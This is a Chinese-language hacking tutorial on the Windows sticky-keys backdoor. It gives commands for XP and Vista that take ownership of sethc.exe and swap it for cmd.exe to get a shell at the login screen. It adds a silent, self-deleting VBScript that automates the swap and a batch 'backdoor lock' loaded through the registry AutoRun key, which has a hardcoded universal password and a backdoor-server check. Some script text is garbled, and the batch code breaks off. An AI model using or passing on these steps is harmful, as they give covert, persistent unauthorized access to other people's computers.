什么是粘滞键?
当你在Windows操作系统里面连续按下5次Shift键之后,你看看出来了什么?
在windows 2000/xp/Vista下,按shift键5次,可以打开粘置,会运行sethc.exe,而且,在登录界面里也可以打开。这就让人联想到WINDOWS的屏保,将程序替换成cmd.exe后,就可以打开shell了。
一、具体的替换方法:
XP系统: 将安装源光盘弹出(或将硬盘上的安装目录改名) cd %widnir%\system32\dllcache ren sethc.exe *.ex~ cd %widnir%\system32 copy /y cmd.exe sethc.exe
Vista系统: takeown /f c:\windows\system32\sethc.exe cacls c:\windows\system32\sethc.exe /G administrator:F Vista之家(www.vista123.com)备注:上两步为获得权限的命令,你也可以通过Vista优化大师获得右键菜单的提升权限的功能,然后在sethc.exe文件上面右键直接提升权限。 然后按XP方法替换文件
在登录界面按5此SHIFT,出来cmd shell,然后……
二、后门扩展:
Dim obj, success Set obj = CreateObject("WScript.Shell") success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe", 0, True) success = obj.run("cmd /c echo y cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F", 0, True) success = obj.run("cmd /c copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe", 0, True) success = obj.run("cmd /c copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe", 0, True) success = obj.run("cmd /c del %SystemRoot%\system32\sethc.exe", 0, True) success = obj.run("cmd /c ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
第二句最有意思了.嘿嘿..自动应答....以前就遇到过类似的问题
再更新,加个自删除、简化代码: On Error Resume Next Dim obj, success Set obj = CreateObject("WScript.Shell") success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exedel %SystemRoot%\system32\sethc.exeren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True) CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
三、后门锁扩展:
allyesno注:可以采用cmd 锁 来进行cmdshell的密码验证 嘿嘿。。。
用下面的后门锁的方法是 把代码保存为bdlock.bat
然后修改注册表位置即可
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor] "AutoRun"="bdlock.bat"
@Echo Off title 后门登陆验证 color a cls set temprandom=%RANDOM% echo 请输入验证码:%temprandom% set/p check= if "%check%"=="%temprandom%%temprandom%" goto passcheck if "%check%"=="%temprandom%" ( rem 后门服务器验证 rem 如果没有后门验证服务器请rem注释掉下一行代码 if exist \192.168.8.8\backdoor$\pass goto passcheck ) echo 验证失败 pause exit :passcheck echo 验证成功 If "%passcmdlock%"==http://www.6655.com/ Goto endx Set passcmdlock=http://www.6655.com/ :allyesno Set Errorlevel=>nul Echo 请输入验证密码? Set password=allyesno Is a pig>nul Set/p password= rem 万能密码 if "%password%"=="allyesno is a sb" goto endx If %time:~1,1%==0 Set timechange=a If %time:~1,1%==1 Set timechange=b If %time:~1,1%==2 Set timechange=c If %time:~1,1%==3 Set timechange=d If %time:~1,1%==4 Set timechange=e |